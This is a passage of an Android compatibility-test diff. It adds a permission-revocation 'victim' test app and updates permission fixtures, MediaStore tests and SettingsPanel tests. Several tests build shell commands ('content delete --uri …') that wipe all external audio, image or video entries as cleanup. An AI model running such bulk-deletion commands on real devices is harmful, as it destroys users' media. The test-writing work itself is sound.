+LOCAL_PACKAGE_NAME := CtsVictimPermissionDefinerApp
 
-include $(BUILD_CTS_SUPPORT_PACKAGE)
\ No newline at end of file
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 66%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
index a48cb1d..3fb0abd
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/AndroidManifest.xml
@@ -14,12 +14,12 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  -->
-
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
-
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
-
+    package="android.permission.cts.revokepermissionwhenremoved.VictimPermissionDefinerApp">
+    <permission android:name="android.permission.cts.revokepermissionwhenremoved.TestPermission"
+        android:protectionLevel="signature"
+        android:label="Test Permission"
+        android:description="@string/test_permission" />
+    <application>
+    </application>
 </manifest>
-
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
new file mode 100644
index 0000000..bfb3e1e
--- /dev/null
+++ b/tests/tests/permission/testapps/RevokePermissionWhenRemoved/VictimPermissionDefinerApp/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <string name="test_permission">Test Permission</string>
+</resources>
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index d43b866..f93376d 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -1207,6 +1207,15 @@
         android:protectionLevel="dangerous|instant" />
 
 
+    <!-- Allows receiving the camera service notifications when a camera is opened
+        (by a certain application package) or closed.
+        @hide -->
+    <permission android:name="android.permission.CAMERA_OPEN_CLOSE_LISTENER"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_cameraOpenCloseListener"
+        android:description="@string/permdesc_cameraOpenCloseListener"
+        android:protectionLevel="signature" />
+
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device sensors                           -->
     <!-- ====================================================================== -->
@@ -3457,6 +3466,11 @@
     <permission android:name="android.permission.OBSERVE_ROLE_HOLDERS"
         android:protectionLevel="signature|installer" />
 
+    <!-- Allows an application to manage the companion devices.
+         @hide -->
+    <permission android:name="android.permission.MANAGE_COMPANION_DEVICES"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
@@ -4398,12 +4412,12 @@
     <!-- @SystemApi Allows to access all app shortcuts.
          @hide -->
     <permission android:name="android.permission.ACCESS_SHORTCUTS"
-        android:protectionLevel="signature|textClassifier" />
+        android:protectionLevel="signature|appPredictor" />
 
     <!-- @SystemApi Allows unlimited calls to shortcut mutation APIs.
          @hide -->
     <permission android:name="android.permission.UNLIMITED_SHORTCUTS_API_CALLS"
-        android:protectionLevel="signature|textClassifier" />
+        android:protectionLevel="signature|appPredictor" />
 
     <!-- @SystemApi Allows an application to read the runtime profiles of other apps.
          @hide <p>Not for use by third-party applications. -->
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index fac0789..47d2509 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -281,6 +281,12 @@
         android:label="@string/car_permission_label_enroll_trust"
         android:description="@string/car_permission_desc_enroll_trust" />
 
+    <permission
+        android:name="android.car.permission.CAR_TEST_SERVICE"
+        android:protectionLevel="privileged|signature"
+        android:label="@string/car_permission_label_car_test_service"
+        android:description="@string/car_permission_desc_car_test_service" />
+
     <uses-permission android:name="android.permission.CALL_PHONE" />
     <uses-permission android:name="android.permission.DEVICE_POWER" />
     <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 9e09a7b..c2becc7 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -28,6 +28,7 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.PermissionGroupInfo;
 import android.content.pm.PermissionInfo;
+import android.os.Build;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.util.ArrayMap;
@@ -82,6 +83,9 @@
     private static final String ATTR_PROTECTION_LEVEL = "protectionLevel";
     private static final String ATTR_BACKGROUND_PERMISSION = "backgroundPermission";
 
+    private static final String CAMERA_OPEN_CLOSE_LISTENER_PERMISSION =
+            "android.permission.CAMERA_OPEN_CLOSE_LISTENER";
+
     private static final Context sContext =
             InstrumentationRegistry.getInstrumentation().getTargetContext();
 
@@ -116,6 +120,13 @@
                 continue;
             }
 
+            // Skip CAMERA OPEN_CLOSE_LISTENER_PERMISSION check for Android Q
+            if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q
+                    && expectedPermissionName.equals(CAMERA_OPEN_CLOSE_LISTENER_PERMISSION)) {
+                declaredPermissionsMap.remove(expectedPermissionName);
+                continue;
+            }
+
             // OEMs cannot remove permissions
             PermissionInfo declaredPermission = declaredPermissionsMap.get(expectedPermissionName);
             if (declaredPermission == null) {
diff --git a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
index 7dca607..e6b4256 100644
--- a/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/RestrictedPermissionsTest.java
@@ -753,11 +753,10 @@
                     1, intent, PendingIntent.FLAG_ONE_SHOT).getIntentSender();
 
             // Commit as shell to avoid confirm UI
-            runWithShellPermissionIdentity(() ->
-                session.commit(intentSender)
-            );
-
-            installLatch.await(UI_TIMEOUT, TimeUnit.MILLISECONDS);
+            runWithShellPermissionIdentity(() -> {
+                session.commit(intentSender);
+                installLatch.await(UI_TIMEOUT, TimeUnit.MILLISECONDS);
+            });
         } finally {
             getContext().unregisterReceiver(installReceiver);
         }
diff --git a/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
index 89b231d..0f23543 100644
--- a/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
@@ -61,6 +61,9 @@
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.database.MatrixCursor;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Point;
 import android.net.Uri;
 import android.os.Bundle;
@@ -77,6 +80,8 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.io.FileOutputStream;
+import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
@@ -420,4 +425,55 @@
         assertEquals(res, mResolver.query(buildSearchDocumentsUri(AUTHORITY, DOC_RED, "moo"), null,
                 Bundle.EMPTY, null));
     }
+
+    @Test
+    public void testGetDocumentThumbnail() throws Exception {
+        // create file and image
+        final String testImagePath =
+                InstrumentationRegistry.getTargetContext().getExternalCacheDir().getPath()
+                        + "/testimage.jpg";
+        final int imageSize = 128;
+        final int thumbnailSize = 32;
+        File file = new File(testImagePath);
+        try (FileOutputStream out = new FileOutputStream(file)) {
+            writeImage(imageSize, imageSize, Color.RED, out);
+        }
+
+        final AssetFileDescriptor res = new AssetFileDescriptor(
+                ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY),
+                0, AssetFileDescriptor.UNKNOWN_LENGTH);
+        final Point size = new Point(thumbnailSize, thumbnailSize);
+        final Bundle opts = new Bundle();
+        opts.putParcelable(ContentResolver.EXTRA_SIZE, size);
+
+        doReturn(res).when(mProvider).openDocumentThumbnail(DOC_RED, size, null);
+        Bitmap bitmap = DocumentsContract.getDocumentThumbnail(mResolver, URI_RED, size, null);
+
+        // A provider may return a thumbnail of a different size, but never more than double the
+        // requested size.
+        assertFalse(bitmap.getWidth() > thumbnailSize * 2);
+        assertFalse(bitmap.getHeight() > thumbnailSize * 2);
+        assertColorMostlyEquals(Color.RED,
+                bitmap.getPixel(bitmap.getWidth() / 2, bitmap.getHeight() / 2));
+
+        // clean up
+        file.delete();
+        bitmap.recycle();
+    }
+
+    private static void writeImage(int width, int height, int color, OutputStream out) {
+        final Bitmap bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
+        final Canvas canvas = new Canvas(bitmap);
+        canvas.drawColor(color);
+        bitmap.compress(Bitmap.CompressFormat.PNG, 90, out);
+    }
+
+    /**
+     * Since thumbnails might be bounced through a compression pass, we're okay
+     * if they're mostly equal.
+     */
+    private static void assertColorMostlyEquals(int expected, int actual) {
+        assertEquals(Integer.toHexString(expected & 0xF0F0F0F0),
+                Integer.toHexString(actual & 0xF0F0F0F0));
+    }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
index 78df1a9..4a8afe7 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
@@ -168,8 +168,9 @@
     @Test
     public void testCanonicalize() throws Exception {
         // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand(
-                "content delete --uri " + mExternalAudio,
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalAudio,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
 
         // Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index 177fddb..799e3ac 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -25,15 +25,18 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.media.ExifInterface;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
 import android.provider.MediaStore;
@@ -219,17 +222,14 @@
 
     @Test
     public void testStoreImagesMediaExternal() throws Exception {
-        final String externalPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage.jpg").getAbsolutePath();
-        final String externalPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage1.jpg").getAbsolutePath();
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+                new File(dir, "cts" + System.nanoTime() + ".jpg"));
 
-        // clean up any potential left over entries from a previous aborted run
-        cleanExternalMediaFile(externalPath);
-        cleanExternalMediaFile(externalPath2);
+        final String externalPath = file.getAbsolutePath();
+        final long numBytes = file.length();
 
-        int numBytes = 1337;
-        FileUtils.createFile(new File(externalPath), numBytes);
+        ProviderTestUtils.waitUntilExists(file);
 
         ContentValues values = new ContentValues();
         values.put(Media.ORIENTATION, 0);
@@ -240,7 +240,7 @@
         values.put(Media.IS_PRIVATE, 1);
         values.put(Media.MINI_THUMB_MAGIC, 0);
         values.put(Media.DATA, externalPath);
-        values.put(Media.DISPLAY_NAME, "testimage");
+        values.put(Media.DISPLAY_NAME, file.getName());
         values.put(Media.MIME_TYPE, "image/jpeg");
         values.put(Media.SIZE, numBytes);
         values.put(Media.TITLE, "testimage");
@@ -268,7 +268,7 @@
             assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
-            assertEquals("testimage.jpg", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
             assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
             assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
             assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
@@ -281,7 +281,7 @@
         } finally {
             // delete
             assertEquals(1, mContentResolver.delete(uri, null, null));
-            new File(externalPath).delete();
+            file.delete();
         }
     }
 
@@ -341,9 +341,30 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            if (mContext.getPackageManager().checkPermission(
+                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+                    == PackageManager.PERMISSION_GRANTED) {
+
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    dropShellPermissionIdentity();
+        }
+
         // Now remove ownership, which means that Exif/XMP location data should be redacted
-        ProviderTestUtils.executeShellCommand(
-                "content update --uri " + publishUri + " --bind owner_package_name:n:",
+        ProviderTestUtils.executeShellCommand("content update"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + publishUri + " --bind owner_package_name:n:",
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
         try (InputStream is = mContentResolver.openInputStream(publishUri)) {
             final ExifInterface exif = new ExifInterface(is);
@@ -405,8 +426,9 @@
     @Test
     public void testCanonicalize() throws Exception {
         // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand(
-                "content delete --uri " + mExternalImages,
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalImages,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
 
         // Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
index e30d604..92ce7e0 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Video_MediaTest.java
@@ -27,14 +27,17 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
 import android.content.ContentResolver;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.pm.PackageManager;
 import android.database.Cursor;
 import android.media.MediaExtractor;
 import android.media.MediaMetadataRetriever;
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.Presubmit;
 import android.provider.MediaStore;
@@ -249,9 +252,30 @@
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(originalUri, "r")) {
         }
 
+        // Remove ACCESS_MEDIA_LOCATION permission
+        try {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                    adoptShellPermissionIdentity("android.permission.MANAGE_APP_OPS_MODES");
+
+            // Revoking ACCESS_MEDIA_LOCATION permission will kill the test app.
+            // Deny access_media_permission App op to revoke this permission.
+            if (mContext.getPackageManager().checkPermission(
+                    android.Manifest.permission.ACCESS_MEDIA_LOCATION, mContext.getPackageName())
+                    == PackageManager.PERMISSION_GRANTED) {
+
+                mContext.getSystemService(AppOpsManager.class).setUidMode(
+                        "android:access_media_location", Process.myUid(),
+                        AppOpsManager.MODE_IGNORED);
+            }
+        } finally {
+                InstrumentationRegistry.getInstrumentation().getUiAutomation().
+                        dropShellPermissionIdentity();
+        }
+
         // Now remove ownership, which means that location should be redacted
-        ProviderTestUtils.executeShellCommand(
-                "content update --uri " + publishUri + " --bind owner_package_name:n:",
+        ProviderTestUtils.executeShellCommand("content update"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + publishUri + " --bind owner_package_name:n:",
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
         try (ParcelFileDescriptor pfd = mContentResolver.openFile(publishUri, "r", null);
                 MediaMetadataRetriever mmr = new MediaMetadataRetriever()) {
@@ -316,8 +340,9 @@
     @Test
     public void testCanonicalize() throws Exception {
         // Remove all audio left over from other tests
-        ProviderTestUtils.executeShellCommand(
-                "content delete --uri " + mExternalVideo,
+        ProviderTestUtils.executeShellCommand("content delete"
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --uri " + mExternalVideo,
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
 
         // Publish some content
diff --git a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
index e748360..3e47d15 100644
--- a/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
+++ b/tests/tests/provider/src/android/provider/cts/ProviderTestUtils.java
@@ -18,6 +18,7 @@
 
 import static android.provider.cts.MediaStoreTest.TAG;
 
+import static com.google.common.truth.Truth.assertWithMessage;
 import static org.junit.Assert.fail;
 
 import android.app.UiAutomation;
@@ -28,6 +29,8 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.provider.MediaStore;
 import android.provider.MediaStore.MediaColumns;
 import android.provider.cts.MediaStoreUtils.PendingParams;
@@ -39,6 +42,8 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.Timeout;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
@@ -68,6 +73,8 @@
     private static final Pattern PATTERN_STORAGE_PATH = Pattern.compile(
             "(?i)^/storage/[^/]+/(?:[0-9]+/)?");
 
+    private static final Timeout IO_TIMEOUT = new Timeout("IO_TIMEOUT", 2_000, 2, 2_000);
+
     static Iterable<String> getSharedVolumeNames() {
         // We test both new and legacy volume names
         final HashSet<String> testVolumes = new HashSet<>();
@@ -175,12 +182,29 @@
         executeShellCommand("bmgr wipe " + backupTransport + " " + packageName, uiAutomation);
     }
 
+    /**
+     * Waits until a file exists, or fails.
+     *
+     * @return existing file.
+     */
+    public static File waitUntilExists(File file) throws IOException {
+        try {
+            return IO_TIMEOUT.run("file '" + file + "' doesn't exist yet", () -> {
+                return file.exists() ? file : null; // will retry if it returns null
+            });
+        } catch (Exception e) {
+            throw new IOException(e);
+        }
+    }
+
     static File stageDir(String volumeName) throws IOException {
         if (MediaStore.VOLUME_EXTERNAL.equals(volumeName)) {
             volumeName = MediaStore.VOLUME_EXTERNAL_PRIMARY;
         }
-        return Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
+        File dir = Environment.buildPath(MediaStore.getVolumePath(volumeName), "Android", "media",
                 "android.provider.cts");
+        Log.d(TAG, "stageDir(" + volumeName + "): returning " + dir);
+        return dir;
     }
 
     static File stageDownloadDir(String volumeName) throws IOException {
@@ -194,10 +218,11 @@
     static File stageFile(int resId, File file) throws IOException {
         // The caller may be trying to stage into a location only available to
         // the shell user, so we need to perform the entire copy as the shell
-        if (FileUtils.contains(Environment.getStorageDirectory(), file)) {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        UserManager userManager = context.getSystemService(UserManager.class);
+        if (userManager.isSystemUser() &&
+                    FileUtils.contains(Environment.getStorageDirectory(), file)) {
             executeShellCommand("mkdir -p " + file.getParent());
-
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (AssetFileDescriptor afd = context.getResources().openRawResourceFd(resId)) {
                 final File source = ParcelFileDescriptor.getFile(afd.getFileDescriptor());
                 final long skip = afd.getStartOffset();
@@ -215,13 +240,12 @@
             if (!dir.exists()) {
                 throw new FileNotFoundException("Failed to create parent for " + file);
             }
-            final Context context = InstrumentationRegistry.getTargetContext();
             try (InputStream source = context.getResources().openRawResource(resId);
                     OutputStream target = new FileOutputStream(file)) {
                 FileUtils.copy(source, target);
             }
         }
-        return file;
+        return waitUntilExists(file);
     }
 
     static Uri stageMedia(int resId, Uri collectionUri) throws IOException {
@@ -243,11 +267,15 @@
     }
 
     static Uri scanFile(File file) throws Exception {
-        return MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+        Uri uri = MediaStore.scanFile(InstrumentationRegistry.getTargetContext(), file);
+        assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
+        return uri;
     }
 
     static Uri scanFileFromShell(File file) throws Exception {
-        return MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
+        Uri uri = MediaStore.scanFileFromShell(InstrumentationRegistry.getTargetContext(), file);
+        assertWithMessage("no URI for '%s'", file).that(uri).isNotNull();
+        return uri;
     }
 
     static void scanVolume(File file) throws Exception {
@@ -321,8 +349,9 @@
     }
 
     public static File getRawFile(Uri uri) throws Exception {
-        final String res = ProviderTestUtils.executeShellCommand(
-                "content query --uri " + uri + " --projection _data",
+        final String res = ProviderTestUtils.executeShellCommand("content query --uri " + uri
+                + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
+                + " --projection _data",
                 InstrumentationRegistry.getInstrumentation().getUiAutomation());
         final int i = res.indexOf("_data=");
         if (i >= 0) {
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 3327390..e80e393 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -17,6 +17,7 @@
 package android.provider.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
 import android.content.Intent;
@@ -27,6 +28,8 @@
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 
+import com.android.compatibility.common.util.RequiredServiceRule;
+
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
@@ -36,6 +39,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+
 /**
  * Tests related SettingsPanels:
  *
@@ -47,11 +52,11 @@
 
     private static final int TIMEOUT = 8000;
 
-    private static final String SETTINGS_PACKAGE = "com.android.settings";
     private static final String RESOURCE_DONE = "done";
     private static final String RESOURCE_SEE_MORE = "see_more";
     private static final String RESOURCE_TITLE = "panel_title";
 
+    private String mSettingsPackage = "com.android.settings";
     private String mLauncherPackage;
 
     private Context mContext;
@@ -68,6 +73,10 @@
         launcherIntent.addCategory(Intent.CATEGORY_HOME);
         mLauncherPackage = packageManager.resolveActivity(launcherIntent,
                 PackageManager.MATCH_DEFAULT_ONLY).activityInfo.packageName;
+
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            mSettingsPackage = "com.android.car.settings";
+        }
     }
 
     @After
@@ -84,7 +93,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -93,7 +102,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -102,7 +111,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -111,43 +120,7 @@
 
         String currentPackage = mDevice.getCurrentPackageName();
 
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
-    }
-
-    @Test
-    public void internetPanel_correctTitle() {
-        launchInternetPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Internet Connectivity");
-    }
-
-    @Test
-    public void volumePanel_correctTitle() {
-        launchVolumePanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Volume");
-    }
-
-    @Test
-    public void nfcPanel_correctTitle() {
-        launchNfcPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("NFC");
-    }
-
-    @Test
-    public void wifiPanel_correctTitle() {
-        launchWifiPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Wi\u2011Fi");
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -155,15 +128,15 @@
         // Launch panel
         launchInternetPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -171,15 +144,15 @@
         // Launch panel
         launchVolumePanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -187,15 +160,15 @@
         // Launch panel
         launchNfcPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isNotEqualTo(mSettingsPackage);
     }
 
     @Test
@@ -203,15 +176,15 @@
         // Launch panel
         launchWifiPanel();
         String currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isEqualTo(SETTINGS_PACKAGE);
+        assertThat(currentPackage).isEqualTo(mSettingsPackage);
 
         // Click the done button
-        mDevice.findObject(By.res(SETTINGS_PACKAGE, RESOURCE_DONE)).click();
+        mDevice.findObject(By.res(mSettingsPackage, RESOURCE_DONE)).click();
         mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
 
         // Assert that we have left the panel
         currentPackage = mDevice.getCurrentPackageName();
